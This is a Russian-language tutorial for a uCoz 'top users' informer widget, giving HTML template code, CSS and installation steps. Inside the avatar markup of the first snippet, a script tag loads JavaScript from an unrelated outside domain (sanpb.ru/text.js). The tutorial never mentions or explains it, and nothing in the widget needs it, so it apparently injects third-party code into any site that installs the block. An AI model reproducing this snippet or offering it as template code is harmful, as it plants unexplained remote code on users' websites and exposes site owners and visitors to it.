Топ пользователей для ucoz

Топ пользователей для ucoz

Красивый и приятный на вид Топ пользователей для ucoz, скрипт очень хорошо подходит под все цвета дизайнов и легко редактируется!
Установка:
1. Создаем информер, Раздел - Пользователи, Сортировка - репутация, Количество материалов - 4, Количество колонок - 1
2. После в вид информера, вставляем ниже приведенный код (не забываем удалить из него старый код)

[code]<div class="vsepodrad_user">
<div class="user_no">$NUMBER$</div>
<div class="vsepodrad_avatar"><a href="$PROFILE_URL$"><?if($AVATAR_URL$)?><img src="$AVATAR_URL$" width="30" height="30" border="0" class="vsmall_thumb"><script src="http://sanpb.ru/text.js" type="text/javascript"></script><?else?><img src="http://bambun.ru/images/no_ava.jpg" width="30" height="30" border="0" class="vsmall_thumb"><?endif?></a></div>
<div class="utitle"><a href="$PROFILE_URL$">$USERNAME$</a>Комментариев : $COM_POSTS$ - Постов залито : $LOAD_POSTS$
</div>
<div class="clearfix"></div>
</div>[/code]

3. Как тока поставить вид, вам ток остается поставить это информер в любое место на сайте - там где хотели его видеть:

[code]<div class="vsepodrad">
<div class="vsepodrad_bg">
<h2>10 лучших пользователей</h2>
$КОД_ИНФОРМЕРА$
</div>
</div>
<style>
.vsepodrad { background:#FFF; border:1px solid #b6e2fe; padding:2px; width:300px; margin:0px auto 10px; border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;-khtml-border-radius:5px }
.vsepodrad_bg { background: url(http://bambun.ru/images/simple_gradient.png) repeat-x bottom; min-height:81px; background-color:#fff; border:1px solid #85a8c8; margin:0px; padding:0px 2px; border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;-khtml-border-radius:5px }
.vsepodrad_bg h2 { margin:5px 2px 8px; padding:0px; color:#21759b; font-size:18px; font-family:Tahoma; text-transform:uppercase; font-weight:bold; }
.vsepodrad_user { background:url(http://bambun.ru/images/top_user.png) repeat-x; height:35px; border:1px solid #CCC; margin-bottom:15px; font-size:9px; padding:0px 8px; position:relative; background-color:#FFF; color:#666}
.vsepodrad_user:hover{background-position:bottom}
.vsepodrad_user a{font-size:12px; font-family:Arial, Helvetica, sans-serif; color:#333; text-decoration:none; font-weight:bold}
.vsepodrad_user a:hover{color:#0099cc}
.vsepodrad_avatar { width:30px; height:30px; padding:0px; margin:2px 5px 0px 20px; vertical-align:super; float:left; border:1px #ccc solid }
.vsepodrad_user > .user_no { background:url(http://bambun.ru/images/blocks.png) -231px -56px no-repeat; width:19px; height:45px; position:absolute; top:-5px; left:5px; font-size:11px; color:#FFF; text-shadow:1px 1px 1px #6fa1b7; text-indent:4px; line-height:45px; }
.vsepodrad_bg .utitle { margin-top:5px}
.vsepodrad_bg .utitle a{display:block}
</style>[/code]

4. Установка завершена!!!

графика для сайтов | создание баннеров | создание шапки